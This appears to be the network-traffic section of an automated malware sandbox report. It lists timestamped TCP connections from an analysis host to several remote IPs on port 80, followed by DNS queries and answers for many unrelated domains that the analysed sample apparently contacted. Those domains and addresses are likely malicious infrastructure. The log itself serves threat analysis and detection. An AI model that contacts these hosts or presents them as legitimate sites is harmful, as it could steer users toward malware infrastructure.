                                                        May 27, 2024 12:29:34.002274036 CEST5930280192.168.2.7103.28.36.189
                                                        May 27, 2024 12:29:34.002342939 CEST8059302103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:34.002373934 CEST8059302103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:34.002410889 CEST5930280192.168.2.7103.28.36.189
                                                        May 27, 2024 12:29:34.006562948 CEST8059302103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:34.006588936 CEST8059302103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:34.006625891 CEST5930280192.168.2.7103.28.36.189
                                                        May 27, 2024 12:29:34.016591072 CEST8059302103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:34.016618967 CEST8059302103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:34.016675949 CEST5930280192.168.2.7103.28.36.189
                                                        May 27, 2024 12:29:34.031696081 CEST8059302103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:34.031749010 CEST8059302103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:34.031800032 CEST5930280192.168.2.7103.28.36.189
                                                        May 27, 2024 12:29:34.237868071 CEST8059302103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:34.237921953 CEST8059302103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:34.237951040 CEST8059302103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:34.237965107 CEST8059302103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:34.237971067 CEST5930280192.168.2.7103.28.36.189
                                                        May 27, 2024 12:29:34.238054991 CEST5930280192.168.2.7103.28.36.189
                                                        May 27, 2024 12:29:34.238084078 CEST8059302103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:34.238112926 CEST8059302103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:34.238157988 CEST5930280192.168.2.7103.28.36.189
                                                        May 27, 2024 12:29:34.238600016 CEST8059302103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:34.238615036 CEST8059302103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:34.238691092 CEST8059302103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:34.238703012 CEST5930280192.168.2.7103.28.36.189
                                                        May 27, 2024 12:29:34.238768101 CEST5930280192.168.2.7103.28.36.189
                                                        May 27, 2024 12:29:34.420260906 CEST5930280192.168.2.7103.28.36.189
                                                        May 27, 2024 12:29:35.438378096 CEST5930380192.168.2.7103.28.36.189
                                                        May 27, 2024 12:29:35.443386078 CEST8059303103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:35.443614960 CEST5930380192.168.2.7103.28.36.189
                                                        May 27, 2024 12:29:35.445238113 CEST5930380192.168.2.7103.28.36.189
                                                        May 27, 2024 12:29:35.450093985 CEST8059303103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:36.518595934 CEST8059303103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:36.518655062 CEST8059303103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:36.518696070 CEST8059303103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:36.518754959 CEST5930380192.168.2.7103.28.36.189
                                                        May 27, 2024 12:29:36.519730091 CEST8059303103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:36.519764900 CEST8059303103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:36.519799948 CEST5930380192.168.2.7103.28.36.189
                                                        May 27, 2024 12:29:36.519800901 CEST8059303103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:36.519838095 CEST8059303103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:36.519850969 CEST5930380192.168.2.7103.28.36.189
                                                        May 27, 2024 12:29:36.532567978 CEST8059303103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:36.532601118 CEST8059303103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:36.532634020 CEST8059303103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:36.532670021 CEST8059303103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:36.532677889 CEST5930380192.168.2.7103.28.36.189
                                                        May 27, 2024 12:29:36.532677889 CEST5930380192.168.2.7103.28.36.189
                                                        May 27, 2024 12:29:36.546433926 CEST8059303103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:36.546454906 CEST8059303103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:36.546497107 CEST5930380192.168.2.7103.28.36.189
                                                        May 27, 2024 12:29:36.591972113 CEST5930380192.168.2.7103.28.36.189
                                                        May 27, 2024 12:29:36.757646084 CEST8059303103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:36.757693052 CEST8059303103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:36.757754087 CEST8059303103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:36.757783890 CEST8059303103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:36.757808924 CEST5930380192.168.2.7103.28.36.189
                                                        May 27, 2024 12:29:36.757817984 CEST8059303103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:36.757853985 CEST8059303103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:36.757875919 CEST5930380192.168.2.7103.28.36.189
                                                        May 27, 2024 12:29:36.757888079 CEST8059303103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:36.758017063 CEST8059303103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:36.758116961 CEST5930380192.168.2.7103.28.36.189
                                                        May 27, 2024 12:29:36.758117914 CEST5930380192.168.2.7103.28.36.189
                                                        May 27, 2024 12:29:36.951400042 CEST5930380192.168.2.7103.28.36.189
                                                        May 27, 2024 12:29:36.972140074 CEST8059303103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:36.972287893 CEST5930380192.168.2.7103.28.36.189
                                                        May 27, 2024 12:29:37.970963001 CEST5930480192.168.2.7103.28.36.189
                                                        May 27, 2024 12:29:37.975877047 CEST8059304103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:37.975941896 CEST5930480192.168.2.7103.28.36.189
                                                        May 27, 2024 12:29:37.978142977 CEST5930480192.168.2.7103.28.36.189
                                                        May 27, 2024 12:29:37.983436108 CEST8059304103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:37.983557940 CEST8059304103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:39.022186995 CEST8059304103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:39.022209883 CEST8059304103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:39.022226095 CEST8059304103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:39.022243023 CEST8059304103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:39.022425890 CEST5930480192.168.2.7103.28.36.189
                                                        May 27, 2024 12:29:39.026834011 CEST8059304103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:39.026859045 CEST8059304103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:39.026921034 CEST8059304103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:39.026943922 CEST8059304103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:39.027013063 CEST5930480192.168.2.7103.28.36.189
                                                        May 27, 2024 12:29:39.027013063 CEST5930480192.168.2.7103.28.36.189
                                                        May 27, 2024 12:29:39.040072918 CEST8059304103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:39.040096045 CEST8059304103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:39.040112019 CEST8059304103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:39.040227890 CEST5930480192.168.2.7103.28.36.189
                                                        May 27, 2024 12:29:39.053786993 CEST8059304103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:39.053818941 CEST8059304103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:39.053936958 CEST5930480192.168.2.7103.28.36.189
                                                        May 27, 2024 12:29:39.116364956 CEST5930480192.168.2.7103.28.36.189
                                                        May 27, 2024 12:29:39.262155056 CEST8059304103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:39.262204885 CEST8059304103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:39.262242079 CEST8059304103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:39.262283087 CEST8059304103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:39.262320995 CEST5930480192.168.2.7103.28.36.189
                                                        May 27, 2024 12:29:39.262427092 CEST8059304103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:39.262507915 CEST8059304103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:39.262548923 CEST8059304103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:39.262581110 CEST5930480192.168.2.7103.28.36.189
                                                        May 27, 2024 12:29:39.268352985 CEST5930480192.168.2.7103.28.36.189
                                                        May 27, 2024 12:29:39.482765913 CEST5930480192.168.2.7103.28.36.189
                                                        May 27, 2024 12:29:40.501194000 CEST5930580192.168.2.7103.28.36.189
                                                        May 27, 2024 12:29:40.506287098 CEST8059305103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:40.506371021 CEST5930580192.168.2.7103.28.36.189
                                                        May 27, 2024 12:29:40.508249998 CEST5930580192.168.2.7103.28.36.189
                                                        May 27, 2024 12:29:40.513250113 CEST8059305103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:41.557188988 CEST8059305103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:41.557873964 CEST8059305103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:41.558242083 CEST5930580192.168.2.7103.28.36.189
                                                        May 27, 2024 12:29:41.562268972 CEST5930580192.168.2.7103.28.36.189
                                                        May 27, 2024 12:29:41.567178011 CEST8059305103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:46.669740915 CEST5930680192.168.2.73.33.130.190
                                                        May 27, 2024 12:29:46.675966024 CEST80593063.33.130.190192.168.2.7
                                                        May 27, 2024 12:29:46.679418087 CEST5930680192.168.2.73.33.130.190
                                                        May 27, 2024 12:29:46.692385912 CEST5930680192.168.2.73.33.130.190
                                                        May 27, 2024 12:29:46.698771000 CEST80593063.33.130.190192.168.2.7
                                                        May 27, 2024 12:29:47.145137072 CEST80593063.33.130.190192.168.2.7
                                                        May 27, 2024 12:29:47.148379087 CEST5930680192.168.2.73.33.130.190
                                                        May 27, 2024 12:29:48.201639891 CEST5930680192.168.2.73.33.130.190
                                                        May 27, 2024 12:29:48.207087994 CEST80593063.33.130.190192.168.2.7
                                                        May 27, 2024 12:29:49.220648050 CEST5930780192.168.2.73.33.130.190
                                                        May 27, 2024 12:29:49.225724936 CEST80593073.33.130.190192.168.2.7
                                                        May 27, 2024 12:29:49.225866079 CEST5930780192.168.2.73.33.130.190
                                                        May 27, 2024 12:29:49.227694988 CEST5930780192.168.2.73.33.130.190
                                                        May 27, 2024 12:29:49.232652903 CEST80593073.33.130.190192.168.2.7
                                                        May 27, 2024 12:29:50.613141060 CEST80593073.33.130.190192.168.2.7
                                                        May 27, 2024 12:29:50.613215923 CEST5930780192.168.2.73.33.130.190
                                                        May 27, 2024 12:29:50.732664108 CEST5930780192.168.2.73.33.130.190
                                                        May 27, 2024 12:29:50.737658024 CEST80593073.33.130.190192.168.2.7
                                                        May 27, 2024 12:29:51.751296997 CEST5930880192.168.2.73.33.130.190
                                                        May 27, 2024 12:29:51.756500006 CEST80593083.33.130.190192.168.2.7
                                                        May 27, 2024 12:29:51.756829023 CEST5930880192.168.2.73.33.130.190
                                                        May 27, 2024 12:29:51.759121895 CEST5930880192.168.2.73.33.130.190
                                                        May 27, 2024 12:29:51.764058113 CEST80593083.33.130.190192.168.2.7
                                                        May 27, 2024 12:29:51.764241934 CEST80593083.33.130.190192.168.2.7
                                                        May 27, 2024 12:29:52.233436108 CEST80593083.33.130.190192.168.2.7
                                                        May 27, 2024 12:29:52.233530998 CEST5930880192.168.2.73.33.130.190
                                                        May 27, 2024 12:29:53.263940096 CEST5930880192.168.2.73.33.130.190
                                                        May 27, 2024 12:29:53.269231081 CEST80593083.33.130.190192.168.2.7
                                                        May 27, 2024 12:29:54.282342911 CEST5930980192.168.2.73.33.130.190
                                                        May 27, 2024 12:29:54.287235022 CEST80593093.33.130.190192.168.2.7
                                                        May 27, 2024 12:29:54.287303925 CEST5930980192.168.2.73.33.130.190
                                                        May 27, 2024 12:29:54.289063931 CEST5930980192.168.2.73.33.130.190
                                                        May 27, 2024 12:29:54.293905973 CEST80593093.33.130.190192.168.2.7
                                                        May 27, 2024 12:29:55.685086012 CEST80593093.33.130.190192.168.2.7
                                                        May 27, 2024 12:29:55.685293913 CEST80593093.33.130.190192.168.2.7
                                                        May 27, 2024 12:29:55.685340881 CEST5930980192.168.2.73.33.130.190
                                                        May 27, 2024 12:29:55.689980030 CEST5930980192.168.2.73.33.130.190
                                                        May 27, 2024 12:29:55.694825888 CEST80593093.33.130.190192.168.2.7
                                                        May 27, 2024 12:30:00.825093985 CEST5931080192.168.2.734.149.87.45
                                                        May 27, 2024 12:30:00.830039978 CEST805931034.149.87.45192.168.2.7
                                                        May 27, 2024 12:30:00.830116987 CEST5931080192.168.2.734.149.87.45
                                                        May 27, 2024 12:30:00.855427980 CEST5931080192.168.2.734.149.87.45
                                                        May 27, 2024 12:30:00.860424995 CEST805931034.149.87.45192.168.2.7
                                                        May 27, 2024 12:30:01.315149069 CEST805931034.149.87.45192.168.2.7
                                                        May 27, 2024 12:30:01.315185070 CEST805931034.149.87.45192.168.2.7
                                                        May 27, 2024 12:30:01.315253019 CEST5931080192.168.2.734.149.87.45
                                                        May 27, 2024 12:30:02.374263048 CEST5931080192.168.2.734.149.87.45
                                                        May 27, 2024 12:30:03.393265009 CEST5931180192.168.2.734.149.87.45
                                                        May 27, 2024 12:30:03.398308992 CEST805931134.149.87.45192.168.2.7
                                                        May 27, 2024 12:30:03.398391962 CEST5931180192.168.2.734.149.87.45
                                                        May 27, 2024 12:30:03.401249886 CEST5931180192.168.2.734.149.87.45
                                                        May 27, 2024 12:30:03.406116962 CEST805931134.149.87.45192.168.2.7
                                                        May 27, 2024 12:30:03.888921976 CEST805931134.149.87.45192.168.2.7
                                                        May 27, 2024 12:30:03.889122963 CEST805931134.149.87.45192.168.2.7
                                                        May 27, 2024 12:30:03.889792919 CEST5931180192.168.2.734.149.87.45
                                                        May 27, 2024 12:30:04.904864073 CEST5931180192.168.2.734.149.87.45
                                                        May 27, 2024 12:30:05.924012899 CEST5931280192.168.2.734.149.87.45
                                                        May 27, 2024 12:30:05.929050922 CEST805931234.149.87.45192.168.2.7
                                                        May 27, 2024 12:30:05.934545994 CEST5931280192.168.2.734.149.87.45
                                                        May 27, 2024 12:30:05.937167883 CEST5931280192.168.2.734.149.87.45
                                                        May 27, 2024 12:30:05.942078114 CEST805931234.149.87.45192.168.2.7
                                                        May 27, 2024 12:30:05.942356110 CEST805931234.149.87.45192.168.2.7
                                                        May 27, 2024 12:30:06.407857895 CEST805931234.149.87.45192.168.2.7
                                                        May 27, 2024 12:30:06.408247948 CEST805931234.149.87.45192.168.2.7
                                                        May 27, 2024 12:30:06.410840034 CEST5931280192.168.2.734.149.87.45
                                                        May 27, 2024 12:30:07.435998917 CEST5931280192.168.2.734.149.87.45
                                                        May 27, 2024 12:30:08.458225012 CEST5931380192.168.2.734.149.87.45
                                                        May 27, 2024 12:30:08.463273048 CEST805931334.149.87.45192.168.2.7
                                                        May 27, 2024 12:30:08.466315985 CEST5931380192.168.2.734.149.87.45
                                                        May 27, 2024 12:30:08.470226049 CEST5931380192.168.2.734.149.87.45
                                                        May 27, 2024 12:30:08.475122929 CEST805931334.149.87.45192.168.2.7
                                                        May 27, 2024 12:30:08.965393066 CEST805931334.149.87.45192.168.2.7
                                                        May 27, 2024 12:30:08.965497017 CEST805931334.149.87.45192.168.2.7
                                                        May 27, 2024 12:30:08.965529919 CEST805931334.149.87.45192.168.2.7
                                                        May 27, 2024 12:30:08.965564013 CEST805931334.149.87.45192.168.2.7
                                                        May 27, 2024 12:30:08.965605021 CEST805931334.149.87.45192.168.2.7
                                                        May 27, 2024 12:30:08.965636015 CEST805931334.149.87.45192.168.2.7
                                                        May 27, 2024 12:30:08.965646982 CEST5931380192.168.2.734.149.87.45
                                                        May 27, 2024 12:30:08.965697050 CEST5931380192.168.2.734.149.87.45
                                                        May 27, 2024 12:30:08.965739965 CEST5931380192.168.2.734.149.87.45
                                                        May 27, 2024 12:30:08.971920013 CEST5931380192.168.2.734.149.87.45
                                                        May 27, 2024 12:30:08.977006912 CEST805931334.149.87.45192.168.2.7
                                                        May 27, 2024 12:30:14.027694941 CEST5931480192.168.2.73.33.130.190
                                                        May 27, 2024 12:30:14.034470081 CEST80593143.33.130.190192.168.2.7
                                                        May 27, 2024 12:30:14.034723997 CEST5931480192.168.2.73.33.130.190
                                                        May 27, 2024 12:30:14.037409067 CEST5931480192.168.2.73.33.130.190
                                                        May 27, 2024 12:30:14.054166079 CEST80593143.33.130.190192.168.2.7
                                                        May 27, 2024 12:30:14.499190092 CEST80593143.33.130.190192.168.2.7
                                                        May 27, 2024 12:30:14.506237984 CEST5931480192.168.2.73.33.130.190
                                                        May 27, 2024 12:30:15.546380043 CEST5931480192.168.2.73.33.130.190
                                                        May 27, 2024 12:30:15.551703930 CEST80593143.33.130.190192.168.2.7
                                                        May 27, 2024 12:30:16.569778919 CEST5931580192.168.2.73.33.130.190
                                                        May 27, 2024 12:30:16.574958086 CEST80593153.33.130.190192.168.2.7
                                                        May 27, 2024 12:30:16.575094938 CEST5931580192.168.2.73.33.130.190
                                                        May 27, 2024 12:30:16.579207897 CEST5931580192.168.2.73.33.130.190
                                                        May 27, 2024 12:30:16.584109068 CEST80593153.33.130.190192.168.2.7
                                                        May 27, 2024 12:30:17.028335094 CEST80593153.33.130.190192.168.2.7
                                                        May 27, 2024 12:30:17.028496027 CEST5931580192.168.2.73.33.130.190
                                                        May 27, 2024 12:30:18.878650904 CEST5931580192.168.2.73.33.130.190
                                                        May 27, 2024 12:30:18.883675098 CEST80593153.33.130.190192.168.2.7
                                                        May 27, 2024 12:30:19.894207954 CEST5931680192.168.2.73.33.130.190
                                                        May 27, 2024 12:30:19.899323940 CEST80593163.33.130.190192.168.2.7
                                                        May 27, 2024 12:30:19.899426937 CEST5931680192.168.2.73.33.130.190
                                                        May 27, 2024 12:30:19.901458979 CEST5931680192.168.2.73.33.130.190
                                                        May 27, 2024 12:30:19.906373978 CEST80593163.33.130.190192.168.2.7
                                                        May 27, 2024 12:30:19.906562090 CEST80593163.33.130.190192.168.2.7
                                                        May 27, 2024 12:30:20.356511116 CEST80593163.33.130.190192.168.2.7
                                                        May 27, 2024 12:30:20.356601000 CEST5931680192.168.2.73.33.130.190
                                                        May 27, 2024 12:30:21.404664993 CEST5931680192.168.2.73.33.130.190
                                                        May 27, 2024 12:30:21.409734011 CEST80593163.33.130.190192.168.2.7
                                                        May 27, 2024 12:30:24.532505989 CEST5931780192.168.2.73.33.130.190
                                                        May 27, 2024 12:30:24.537686110 CEST80593173.33.130.190192.168.2.7
                                                        May 27, 2024 12:30:24.537866116 CEST5931780192.168.2.73.33.130.190
                                                        May 27, 2024 12:30:24.539522886 CEST5931780192.168.2.73.33.130.190
                                                        May 27, 2024 12:30:24.544415951 CEST80593173.33.130.190192.168.2.7
                                                        May 27, 2024 12:30:24.994996071 CEST80593173.33.130.190192.168.2.7
                                                        May 27, 2024 12:30:24.995054960 CEST80593173.33.130.190192.168.2.7
                                                        May 27, 2024 12:30:24.995234013 CEST5931780192.168.2.73.33.130.190
                                                        May 27, 2024 12:30:24.998852968 CEST5931780192.168.2.73.33.130.190
                                                        May 27, 2024 12:30:25.003828049 CEST80593173.33.130.190192.168.2.7
                                                        May 27, 2024 12:30:30.046366930 CEST5931880192.168.2.73.33.130.190
                                                        May 27, 2024 12:30:30.051789045 CEST80593183.33.130.190192.168.2.7
                                                        May 27, 2024 12:30:30.051948071 CEST5931880192.168.2.73.33.130.190
                                                        May 27, 2024 12:30:30.053806067 CEST5931880192.168.2.73.33.130.190
                                                        May 27, 2024 12:30:30.058907986 CEST80593183.33.130.190192.168.2.7
                                                        May 27, 2024 12:30:30.508806944 CEST80593183.33.130.190192.168.2.7
                                                        May 27, 2024 12:30:30.508908987 CEST5931880192.168.2.73.33.130.190
                                                        May 27, 2024 12:30:31.560827017 CEST5931880192.168.2.73.33.130.190
                                                        May 27, 2024 12:30:31.567282915 CEST80593183.33.130.190192.168.2.7
                                                        May 27, 2024 12:30:32.579310894 CEST5931980192.168.2.73.33.130.190
                                                        May 27, 2024 12:30:32.584510088 CEST80593193.33.130.190192.168.2.7
                                                        May 27, 2024 12:30:32.584685087 CEST5931980192.168.2.73.33.130.190
                                                        May 27, 2024 12:30:32.587187052 CEST5931980192.168.2.73.33.130.190
                                                        May 27, 2024 12:30:32.592127085 CEST80593193.33.130.190192.168.2.7
                                                        May 27, 2024 12:30:33.076498032 CEST80593193.33.130.190192.168.2.7
                                                        May 27, 2024 12:30:33.076685905 CEST5931980192.168.2.73.33.130.190
                                                        May 27, 2024 12:30:34.106508970 CEST5931980192.168.2.73.33.130.190
                                                        May 27, 2024 12:30:34.111466885 CEST80593193.33.130.190192.168.2.7
                                                        May 27, 2024 12:30:36.422178984 CEST5932080192.168.2.73.33.130.190
                                                        May 27, 2024 12:30:36.427473068 CEST80593203.33.130.190192.168.2.7
                                                        May 27, 2024 12:30:36.427552938 CEST5932080192.168.2.73.33.130.190
                                                        May 27, 2024 12:30:36.429765940 CEST5932080192.168.2.73.33.130.190
                                                        May 27, 2024 12:30:36.434686899 CEST80593203.33.130.190192.168.2.7
                                                        May 27, 2024 12:30:36.434829950 CEST80593203.33.130.190192.168.2.7
                                                        May 27, 2024 12:30:36.903179884 CEST80593203.33.130.190192.168.2.7
                                                        May 27, 2024 12:30:36.903316021 CEST5932080192.168.2.73.33.130.190

                                                        UDP Packets

                                                        TimestampSource PortDest PortSource IPDest IP
                                                        May 27, 2024 12:26:48.012593985 CEST4923753192.168.2.71.1.1.1
                                                        May 27, 2024 12:26:48.139710903 CEST53492371.1.1.1192.168.2.7
                                                        May 27, 2024 12:27:04.737109900 CEST6104353192.168.2.71.1.1.1
                                                        May 27, 2024 12:27:05.451942921 CEST53610431.1.1.1192.168.2.7
                                                        May 27, 2024 12:27:05.834005117 CEST5352111162.159.36.2192.168.2.7
                                                        May 27, 2024 12:27:07.797806978 CEST53535201.1.1.1192.168.2.7
                                                        May 27, 2024 12:27:19.173660994 CEST4919953192.168.2.71.1.1.1
                                                        May 27, 2024 12:27:19.546823978 CEST53491991.1.1.1192.168.2.7
                                                        May 27, 2024 12:27:35.017501116 CEST5748953192.168.2.71.1.1.1
                                                        May 27, 2024 12:27:35.051892042 CEST53574891.1.1.1192.168.2.7
                                                        May 27, 2024 12:28:20.689413071 CEST5986653192.168.2.71.1.1.1
                                                        May 27, 2024 12:28:20.702769041 CEST53598661.1.1.1192.168.2.7
                                                        May 27, 2024 12:28:33.815267086 CEST5452353192.168.2.71.1.1.1
                                                        May 27, 2024 12:28:33.832904100 CEST53545231.1.1.1192.168.2.7
                                                        May 27, 2024 12:28:47.767247915 CEST5535353192.168.2.71.1.1.1
                                                        May 27, 2024 12:28:47.806740999 CEST53553531.1.1.1192.168.2.7
                                                        May 27, 2024 12:29:02.611875057 CEST5415753192.168.2.71.1.1.1
                                                        May 27, 2024 12:29:02.861352921 CEST53541571.1.1.1192.168.2.7
                                                        May 27, 2024 12:29:16.266588926 CEST5067653192.168.2.71.1.1.1
                                                        May 27, 2024 12:29:16.622797012 CEST53506761.1.1.1192.168.2.7
                                                        May 27, 2024 12:29:30.267755032 CEST5708153192.168.2.71.1.1.1
                                                        May 27, 2024 12:29:31.279707909 CEST5708153192.168.2.71.1.1.1
                                                        May 27, 2024 12:29:32.295156956 CEST5708153192.168.2.71.1.1.1
                                                        May 27, 2024 12:29:32.905267954 CEST53570811.1.1.1192.168.2.7
                                                        May 27, 2024 12:29:32.905314922 CEST53570811.1.1.1192.168.2.7
                                                        May 27, 2024 12:29:32.905344009 CEST53570811.1.1.1192.168.2.7
                                                        May 27, 2024 12:29:46.601821899 CEST5134953192.168.2.71.1.1.1
                                                        May 27, 2024 12:29:46.617746115 CEST53513491.1.1.1192.168.2.7
                                                        May 27, 2024 12:30:00.780277967 CEST5650853192.168.2.71.1.1.1
                                                        May 27, 2024 12:30:00.818588972 CEST53565081.1.1.1192.168.2.7
                                                        May 27, 2024 12:30:13.988209963 CEST4966953192.168.2.71.1.1.1
                                                        May 27, 2024 12:30:14.022574902 CEST53496691.1.1.1192.168.2.7
                                                        May 27, 2024 12:30:30.020900011 CEST5367653192.168.2.71.1.1.1
                                                        May 27, 2024 12:30:30.043133974 CEST53536761.1.1.1192.168.2.7

                                                        DNS Queries

                                                        TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                        May 27, 2024 12:26:48.012593985 CEST192.168.2.71.1.1.10x5950Standard query (0)www.pricekaboom.comA (IP address)IN (0x0001)false
                                                        May 27, 2024 12:27:04.737109900 CEST192.168.2.71.1.1.10x23edStandard query (0)www.birthingwitht.comA (IP address)IN (0x0001)false
                                                        May 27, 2024 12:27:19.173660994 CEST192.168.2.71.1.1.10xa564Standard query (0)www.0bi8.funA (IP address)IN (0x0001)false
                                                        May 27, 2024 12:27:35.017501116 CEST192.168.2.71.1.1.10xb5c0Standard query (0)www.galatalosangeles.orgA (IP address)IN (0x0001)false
                                                        May 27, 2024 12:28:20.689413071 CEST192.168.2.71.1.1.10x40f2Standard query (0)www.chillingtime.shopA (IP address)IN (0x0001)false
                                                        May 27, 2024 12:28:33.815267086 CEST192.168.2.71.1.1.10x1d73Standard query (0)www.drednents.esA (IP address)IN (0x0001)false
                                                        May 27, 2024 12:28:47.767247915 CEST192.168.2.71.1.1.10xf41cStandard query (0)www.shopnaya.frA (IP address)IN (0x0001)false
                                                        May 27, 2024 12:29:02.611875057 CEST192.168.2.71.1.1.10xd02eStandard query (0)www.yamlex.ruA (IP address)IN (0x0001)false
                                                        May 27, 2024 12:29:16.266588926 CEST192.168.2.71.1.1.10xcff5Standard query (0)www.touchdres.topA (IP address)IN (0x0001)false
                                                        May 27, 2024 12:29:30.267755032 CEST192.168.2.71.1.1.10x6b4aStandard query (0)www.omilux.vnA (IP address)IN (0x0001)false
                                                        May 27, 2024 12:29:31.279707909 CEST192.168.2.71.1.1.10x6b4aStandard query (0)www.omilux.vnA (IP address)IN (0x0001)false
                                                        May 27, 2024 12:29:32.295156956 CEST192.168.2.71.1.1.10x6b4aStandard query (0)www.omilux.vnA (IP address)IN (0x0001)false
                                                        May 27, 2024 12:29:46.601821899 CEST192.168.2.71.1.1.10xcf23Standard query (0)www.duobao698.comA (IP address)IN (0x0001)false
                                                        May 27, 2024 12:30:00.780277967 CEST192.168.2.71.1.1.10x64dcStandard query (0)www.ycwtch.co.ukA (IP address)IN (0x0001)false
                                                        May 27, 2024 12:30:13.988209963 CEST192.168.2.71.1.1.10xe541Standard query (0)www.geltipleasure.comA (IP address)IN (0x0001)false
                                                        May 27, 2024 12:30:30.020900011 CEST192.168.2.71.1.1.10x46cfStandard query (0)www.hilfe24x7.deA (IP address)IN (0x0001)false

                                                        DNS Answers

                                                        TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                        May 27, 2024 12:26:48.139710903 CEST1.1.1.1192.168.2.70x5950No error (0)www.pricekaboom.compricekaboom.comCNAME (Canonical name)IN (0x0001)false
                                                        May 27, 2024 12:26:48.139710903 CEST1.1.1.1192.168.2.70x5950No error (0)pricekaboom.com185.31.240.240A (IP address)IN (0x0001)false
                                                        May 27, 2024 12:27:05.451942921 CEST1.1.1.1192.168.2.70x23edNo error (0)www.birthingwitht.comcdn1.wixdns.netCNAME (Canonical name)IN (0x0001)false
                                                        May 27, 2024 12:27:05.451942921 CEST1.1.1.1192.168.2.70x23edNo error (0)cdn1.wixdns.nettd-ccm-neg-87-45.wixdns.netCNAME (Canonical name)IN (0x0001)false
                                                        May 27, 2024 12:27:05.451942921 CEST1.1.1.1192.168.2.70x23edNo error (0)td-ccm-neg-87-45.wixdns.net34.149.87.45A (IP address)IN (0x0001)false
                                                        May 27, 2024 12:27:19.546823978 CEST1.1.1.1192.168.2.70xa564No error (0)www.0bi8.fun107.151.241.58A (IP address)IN (0x0001)false
                                                        May 27, 2024 12:27:35.051892042 CEST1.1.1.1192.168.2.70xb5c0No error (0)www.galatalosangeles.orggalatalosangeles.orgCNAME (Canonical name)IN (0x0001)false
                                                        May 27, 2024 12:27:35.051892042 CEST1.1.1.1192.168.2.70xb5c0No error (0)galatalosangeles.org3.33.130.190A (IP address)IN (0x0001)false
                                                        May 27, 2024 12:27:35.051892042 CEST1.1.1.1192.168.2.70xb5c0No error (0)galatalosangeles.org15.197.148.33A (IP address)IN (0x0001)false
                                                        May 27, 2024 12:28:20.702769041 CEST1.1.1.1192.168.2.70x40f2No error (0)www.chillingtime.shopchillingtime.shopCNAME (Canonical name)IN (0x0001)false
                                                        May 27, 2024 12:28:20.702769041 CEST1.1.1.1192.168.2.70x40f2No error (0)chillingtime.shop3.33.130.190A (IP address)IN (0x0001)false
                                                        May 27, 2024 12:28:20.702769041 CEST1.1.1.1192.168.2.70x40f2No error (0)chillingtime.shop15.197.148.33A (IP address)IN (0x0001)false
                                                        May 27, 2024 12:28:33.832904100 CEST1.1.1.1192.168.2.70x1d73No error (0)www.drednents.es104.21.81.34A (IP address)IN (0x0001)false
                                                        May 27, 2024 12:28:33.832904100 CEST1.1.1.1192.168.2.70x1d73No error (0)www.drednents.es172.67.137.210A (IP address)IN (0x0001)false
